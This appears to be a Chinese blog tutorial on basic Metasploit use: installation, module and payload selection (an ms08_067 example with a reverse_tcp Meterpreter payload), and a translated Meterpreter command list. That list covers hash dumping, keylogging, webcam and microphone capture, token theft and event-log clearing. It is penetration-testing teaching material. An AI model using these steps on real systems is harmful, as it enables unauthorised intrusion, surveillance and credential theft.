Metasploit(MSF)基礎使用

m0userathxy發表於2024-08-21

Metasploit Framework(MSF)是一款開源安全漏洞檢測工具,附帶數千個已知的軟體漏洞,並保持持續更新。Metasploit可以用來資訊收集、漏洞探測、漏洞利用等滲透測試的全流程,被安全社群冠以“可以黑掉整個宇宙”之名。剛開始的Metasploit是採用Perl語言編寫的,但是再後來的新版中,改成了用Ruby語言編寫的了。在kali中,自帶了Metasploit工具。
在一般的linux中,預設是不安裝MSF的。以下是在非kali的Linux下安裝MSF框架。

#一鍵安裝MSF:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
 
adduser msf                           #新增msf使用者
su msf                                #切換到msf使用者
cd  /opt/metasploit-framework/bin     #切換到msf所在的目錄 
./msfconsole                          #以後啟動msfconsole,都切換到msf使用者下啟動,這樣會同步資料庫。如果使用root使用者啟動的話,不會同步資料庫  
 
#也可以將msfconsole加入到執行目錄下,這樣在任何目錄直接msfconsole就可以了:
ln -s /opt/metasploit-framework/bin/msfconsole /usr/bin/msfconsole
 
#備註:
#初次執行msf會建立資料庫,但是msf預設使用的PostgreSQL資料庫不能與root使用者關聯,這也這也就是需要新建使用者msf來執行metasploit的原因所在。如果你一不小心手一抖,初次執行是在root使用者下,請使用 msfdb reinit 命令,然後使用非root使用者初始化資料庫。        
 
# 非kali環境下更新升級MSF:
msfupdate							   # MSF後期的升級
# kali環境下更新升級MSF:
apt update 							   # 更新安裝包資訊;只檢查,不更新(已安裝的軟體包是否有可用的更新,給出彙總報告)
apt upgrade 						   # 更新已安裝的軟體包,不刪除舊包;
apt full-upgrade					   # 升級包,刪除舊包

MSF的更新升級:

非kali環境下更新升級MSF:

msfupdate

kali環境下更新升級MSF:

由於kali中的Metasploit滲透測試框架是整合在系統中的,不是單獨安裝,不支援使用msfupdate命令更新,更新的話需要隨系統程式更新。

apt update 					# 更新安裝包資訊;只檢查,不更新(已安裝的軟體包是否有可用的更新,給出彙總報告)
apt upgrade 				# 更新已安裝的軟體包,不刪除舊包;
apt full-upgrade			# 升級包,刪除舊包

使用上面命令,是在更新系統程式的同時,把MSF更新。

使用方法:

基礎使用:

msfconsole:啟動Metasploit控制檯。

use <模組>:選擇要使用的模組,例如use exploit/windows/smb/ms08_067_netapi。

show options:顯示當前模組的可配置引數。

set <引數> <值>:設定模組的引數值。

exploit:執行已配置的模組並嘗試利用目標系統。

search <關鍵詞>:搜尋可用的模組。

sessions:顯示當前會話列表。

sessions -i <會話ID>:切換到指定的會話。

background:將當前會話置於後臺執行。

use multi/handler:啟動一個監聽器,等待來自攻擊載荷的連線。

set payload <載荷>:設定監聽器使用的攻擊載荷。

run:執行監聽器並等待連線。

設定目標地址:set RHOSTS [目標地址]

設定目標埠:set RPOST 445

設定payload:set payload windows/x64/meterpreter/reverse_tcp

設定本地地址:set LHOST [本地地址]

攻擊:run/exploit

不同的攻擊用到的步驟也不一樣,這不是一成不變的,需要靈活使用.我們也可以將攻擊程式碼寫入configure.rc(只要是以.rc結尾的檔案)配置檔案中,然後使用命令msfconsole -r configure.rc進行自動攻擊!

漏洞利用(exploit):

漏洞利用exploit,也就是我們常說的exp,他就是對漏洞進行攻擊的程式碼。

攻擊載荷(payload):

Payload:Payload中包含攻擊進入目標主機後需要在遠端系統中執行的惡意程式碼,而在Metasploit中Payload是一種特殊模組,它們能夠以漏洞利用模組執行,並能夠利用目標系統中的安全漏洞實施攻擊。簡而言之,這種漏洞利用模組可以訪問目標系統,而其中的程式碼定義了Payload在目標系統中的行為。
  Shellcode:Shellcode是payload中的精髓部分,在滲透攻擊時作為攻擊載荷執行的一組機器指令。Shellcode通常用匯編語言編寫。在大多數情況下,目標系統執行了shellcode這一組指令之後,才會提供一個命令列shell

payload模組路徑:

/usr/share/metasploit-framework/modules/payloads

Metasploit中的 Payload 模組主要有以下三種型別:

Single:
  是一種完全獨立的Payload,而且使用起來就像執行calc.exe一樣簡單,例如新增一個系統使用者或刪除一份檔案。由於Single Payload是完全獨立的,因此它們有可能會被類似netcat這樣的非metasploit處理工具所捕捉到。

Stager:
  這種Payload 負責建立目標使用者與攻擊者之間的網路連線,並下載額外的元件或應用程式。一種常見的Stager Payload就是reverse_tcp,它可以讓目標系統與攻擊者建立一條 tcp 連線,讓目標系統主動連線我們的埠(反向連線)。另一種常見的是bind_tcp,它可以讓目標系統開啟一個tcp監聽器,而攻擊者隨時可以與目標系統進行通訊(正向連線)。

Stage:
  是Stager Payload下的一種Payload元件,這種Payload可以提供更加高階的功能,而且沒有大小限制。

在 Metasploit 中,我們可以透過Payload的名稱和使用格式來推斷它的型別:

#Single Payload的格式為:
<target>/ <single>  如:windows/powershell_bind_tcp
#Stager/Stage Payload的格式為:
<target>/ <stage> / <stager>  如:windows/meterpreter/reverse_tcp

當我們在Metasploit中執行 show payloads 命令之後,它會給我們顯示一個可使用的Payload列表,在這個列表中,像 windows/powershell_bind_tcp 就是一個Single Payload,它不包含Stage Payload。而windows/meterpreter/reverse_tcp 則由一個Stage Payload(meterpreter)和 一個Stager Payload(reverse_tcp)組成。
Stager中幾種常見的payload:

windows/meterpreter/bind_tcp       #正向連線
windows/meterpreter/reverse_tcp    #反向連線,常用
windows/meterpreter/reverse_http   #透過監聽80埠反向連線
windows/meterpreter/reverse_https  #透過監聽443埠反向連線

後滲透階段:

執行了exploit命令之後,我們開啟了一個reverse TCP監聽器來監聽本地的埠,即我(攻擊者)的本地主機地址(LHOST)和埠號(LPORT)。執行成功之後,我們將會看到命令提示符 meterpreter > 出現:
Meterpreter的命令用法:

Meterpreter > ?
==========================================
核心命令:
==========================================
命令                           說明
-------                       ------------
?                             幫助選單
background                    把當前會話掛到後臺執行
bg                            background命令的別名
bgkill                        殺死後臺meterpreter 指令碼
bglist                        列出正在執行的後臺指令碼
bgrun                         執行一個meterpreter指令碼作為後臺執行緒
channel                       顯示資訊或控制活動頻道
close                         關閉一個頻道
detach                        分離Meterpreter會話(用於 http/https)
disable_unicode_encoding      禁用 unicode 字串的編碼
enable_unicode_encoding       啟用 unicode 字串的編碼
exit                          終止 Meterpreter 會話
get_timeouts                  獲取當前會話超時值
guid                          獲取會話 GUID
help                          幫助選單
info                          顯示有關 Post 模組的資訊
irb                           在當前會話中開啟一個互動式 Ruby shell
load                          載入一個或多個 Meterpreter 擴充套件
machine_id                    獲取連線到會話的機器的 MSF ID
migrate                       將伺服器遷移到另一個程序
pivot                         管理樞軸偵聽器
pry                           在當前會話上開啟 Pry 偵錯程式
quit                          終止 Meterpreter 會話
read                          從通道讀取資料
resource                      執行儲存在檔案中的命令
run                           執行一個 Meterpreter 指令碼或 Post 模組
secure                       (重新)協商會話上的 TLV 資料包加密
sessions                      快速切換到另一個會話
set_timeouts                  設定當前會話超時值
sleep                         強制 Meterpreter 安靜,然後重新建立會話
ssl_verify                    修改 SSL 證書驗證設定
transport                     管理運輸機制
use                           不推薦使用的load命令別名
uuid                          獲取當前會話的 UUID
write                         將資料寫入通道

==========================================
Stdapi:檔案系統命令
==========================================

命令                           說明
-------                       ------------
cat                           將檔案內容讀到螢幕上
cd                            切換目錄
checksum                      檢索檔案的校驗和
cp                            將源複製到目標
del                           刪除指定檔案
dir                           列出檔案(ls 的別名)
download                      下載檔案或目錄
edit                          編輯檔案
getlwd                        列印本地工作目錄
getwd                         列印工作目錄
lcd                           更改本地工作目錄
lls                           列出本地檔案
lpwd                          列印本地工作目錄
ls                            列出檔案
mkdir                         製作目錄
mv                            將源移動到目標
pwd                           列印工作目錄
rm                            刪除指定檔案
rmdir                         刪除目錄
search                        搜尋檔案
show_mount                    列出所有掛載點/邏輯驅動器
upload                        上傳檔案或目錄

==========================================
Stdapi:網路命令
==========================================
命令                           說明
-------                       ------------
arp                           顯示主機 ARP 快取
getproxy                      顯示當前代理配置
ifconfig                      顯示介面
ipconfig                      顯示介面
netstat                       顯示網路連線
portfwd                       將本地埠轉發到遠端服務
resolve                       解析目標上的一組主機名
route                         檢視和修改路由表

==========================================
Stdapi:系統命令
==========================================
命令                           說明
-------                       ------------
clearev                       清除事件日誌
drop_token                    放棄任何活動的模擬令牌。
execute                       執行命令
getenv                        獲取一個或多個環境變數值
getpid                        獲取當前程序識別符號
getprivs                      嘗試啟用當前程序可用的所有許可權
getid                         獲取伺服器執行的使用者的 SID
getuid                        獲取伺服器執行的使用者
kill                          終止程序
localtime                     顯示目標系統本地日期和時間
pgrep                         按名稱過濾程序
pkill                         按名稱終止程序
ps                            列出正在執行的程序
reboot                        重啟遠端計算機
reg                           修改遠端登錄檔並與之互動
rev2self                      在遠端機器上呼叫 RevertToSelf()
shell                         放入系統命令 shell
shutdown                      關閉遠端計算機
steal_token                   嘗試從目標程序竊取模擬令牌
suspend                       暫停或恢復程序列表
sysinfo                       獲取有關遠端系統的資訊,例如 OS

==========================================
Stdapi:使用者介面命令
==========================================
命令                           說明
-------                       ------------
enumdesktops                  列出所有可訪問的桌面和視窗站
getdesktop                    獲取當前的meterpreter桌面
idletime                      返回遠端使用者空閒的秒數
keyboard_send                 傳送擊鍵
keyevent                      傳送按鍵事件
keyscan_dump                  轉儲擊鍵緩衝區
keyscan_start                 開始捕獲擊鍵
keyscan_stop                  停止捕獲擊鍵
mouse                         傳送滑鼠事件
screenshare                   實時觀看遠端使用者桌面
screenshot                    抓取互動式桌面的截圖
setdesktop                    更改meterpreters當前桌面
uictl                         控制一些使用者介面元件

==========================================
Stdapi:網路攝像頭命令:
==========================================
命令                           說明
-------                       ------------
record_mic                    從預設麥克風錄製音訊 X 秒
webcam_chat                   開始影片聊天
webcam_list                   列出網路攝像頭
webcam_snap                   從指定的網路攝像頭拍攝快照
webcam_stream                 從指定的網路攝像頭播放影片流

==========================================
Stdapi:音訊輸出命令:
==========================================
命令                           說明
-------                       ------------
play                          在目標系統上播放波形音訊檔案 (.wav)

==========================================
Priv:許可權提升命令:
==========================================
命令                           說明
-------                       ------------
getsystem                     嘗試將您的許可權提升到本地系統的許可權。

==========================================
Priv:密碼資料庫命令:
==========================================
命令                           說明
-------                       ------------
hashdump                      轉儲 SAM 資料庫的內容

==========================================
Priv:Timestomp 命令:
==========================================
命令                           說明
-------                       ------------
timestomp                     操作檔案 MACE 屬性

我們輸入: shell即可切換到目標主機的windows cmd_shell裡面:

shell         #獲取目標主機的cmd_shell許可權
chcp 65001    #這裡為了避免目標主機cmd_shell字元亂碼,設定目標主機命令列的字元編碼,65001是UTF-8

要想從目標主機shell退出到meterpreter ,我們只需輸入:exit
從meterpreter退出到MSF框架:background #把我們獲得的meterpreter會話掛載到後臺執行

參考:https://blog.csdn.net/weixin_45588247/article/details/119614618
https://blog.csdn.net/2301_78006725/article/details/132634238

相關文章